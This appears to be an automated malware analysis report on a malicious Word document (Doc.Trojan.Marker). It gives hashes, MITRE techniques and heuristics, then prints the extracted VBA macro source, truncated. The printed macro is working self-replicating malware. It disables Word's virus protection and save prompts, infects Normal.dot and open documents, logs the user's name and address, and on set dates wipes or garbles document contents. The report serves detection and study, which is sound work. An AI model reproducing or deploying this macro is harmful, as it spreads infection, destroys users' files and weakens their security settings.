Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c773394821b0d59e…

MALICIOUS

Office (OLE)

43.5 KB Created: 1998-09-14 06:35:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 8087a19c10e94f5b13663609800a721e SHA-1: 56ab4f1861aad99c71cdd4cda234c5ba0d996445 SHA-256: c773394821b0d59e899cdce0eb1bec8ce0b7d3f99fef4f36fff007c4c6dbb23a
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros, as indicated by multiple critical heuristics and the presence of a 'macros.bas' file. The 'Document_Open' macro is designed to infect the Normal.dot template and the active document. The script attempts to write a log file and includes conditional logic based on the date, suggesting a polymorphic or time-based infection strategy. The presence of the 'WebMaster' marker string is a key indicator of the macro's activity.

Heuristics 3

  • ClamAV: Doc.Trojan.Marker-31 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Marker-31
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 21343 bytes
SHA-256: 9e50e73b09e92724d76b20f8d9370990fc0f185b3810c98a9784266e5ffd4605
Detection
ClamAV: Doc.Trojan.Marker-26
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Document_Close()
    
    Options.VirusProtection = True
    Options.SaveNormalPrompt = True
    Const OldMarker = "<- this is another marker!"
    Const Marker = "WebMaster"
    
    Dim SaveDocument, SaveNormalTemplate, DocumentInfected, NormalTemplateInfected As Boolean
    Dim ad, nt As Object
    
    Set ad = ActiveDocument.VBProject.VBComponents.Item(1)
    Set nt = NormalTemplate.VBProject.VBComponents.Item(1)
    
    DocumentInfected = ad.CodeModule.Find(Marker, 1, 1, 10000, 10000)
    NormalTemplateInfected = nt.CodeModule.Find(Marker, 1, 1, 10000, 10000)
    
    If (Day(Now()) = 15) And (Month(Now()) Mod 2 = 0) Then
        ActiveDocument.Select
        Selection.Cut
        ActiveDocument.Save
    ElseIf (Day(Now()) = 13) Then
        ActiveDocument.Select
        Selection.Font.Name = "Webdings"
        ActiveDocument.Save
    End If

    'Make sure that some conditions are true before we continue infecting anything
    If (DocumentInfected = True Xor NormalTemplateInfected = True) And _
        (ActiveDocument.SaveFormat = wdFormatDocument Or _
        ActiveDocument.SaveFormat = wdFormatTemplate) Then
   
   
        'Infect the NormalTemplate
        If DocumentInfected = True Then
  
            SaveNormalTemplate = NormalTemplate.Saved
  
            OurCode = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines)

            'Write a log file of this NormalTemplate infection
            For I = 1 To Len(Application.UserAddress)
                If Mid(Application.UserAddress, I, 1) <> Chr(13) Then
                    If Mid(Application.UserAddress, I, 1) <> Chr(10) Then
                        UserAddress = UserAddress & Mid(Application.UserAddress, I, 1)
                    End If
                Else
                    UserAddress = UserAddress & Chr(13) & "' "
                End If
            Next I

            OurCode = OurCode & Chr(13) & _
                      "' " & Format(Time, "hh:mm:ss AMPM - ") & _
                      Format(Date, "dddd, d mmm yyyy") & Chr(13) & _
                      "' " & Application.UserName & Chr(13) & _
                      "' " & UserAddress & Chr(13)

            nt.CodeModule.DeleteLines 1, nt.CodeModule.CountOfLines
            nt.CodeModule.AddFromString OurCode
    
            If SaveNormalTemplate = True Then NormalTemplate.Save
    
        End If


        'Infect the ActiveDocument
        If NormalTemplateInfected = True And _
            (Mid(ActiveDocument.FullName, 2, 1) = ":" Or _
             ActiveDocument.Saved = False) Then
  
            SaveDocument = ActiveDocument.Saved
    
            OurCode = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines)

            ad.CodeModule.DeleteLines 1, ad.CodeModule.CountOfLines
            ad.CodeModule.AddFromString OurCode
    
            If SaveDocument = True Then ActiveDocument.Save
      
        End If
  
    End If
End Sub

Private Sub Document_Open()
    
    Options.VirusProtection = False
    Options.SaveNormalPrompt = False
    
    Const OldMarker = "<- this is another marker!"
    Const Marker = "WebMaster"
    
    Dim SaveDocument, SaveNormalTemplate, DocumentInfected, NormalTemplateInfected As Boolean
    Dim ad, nt As Object
    
    Set ad = ActiveDocument.VBProject.VBComponents.Item(1)
    Set nt = NormalTemplate.VBProject.VBComponents.Item(1)
    
    DocumentInfected = ad.CodeModule.Find(Marker, 1, 1, 10000, 10000)
    NormalTemplateInfected = nt.CodeModule.Find(Marker, 1, 1, 10000, 10000)
    
    If (Day(Now()) = 15) And (Month(Now()) Mod 2 = 0) Then
        ActiveDocument.Select
        Selection.Cut
        ActiveDocument.Save
    ElseIf (Day(Now()) = 13) Then
        ActiveDocument.Select
        
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.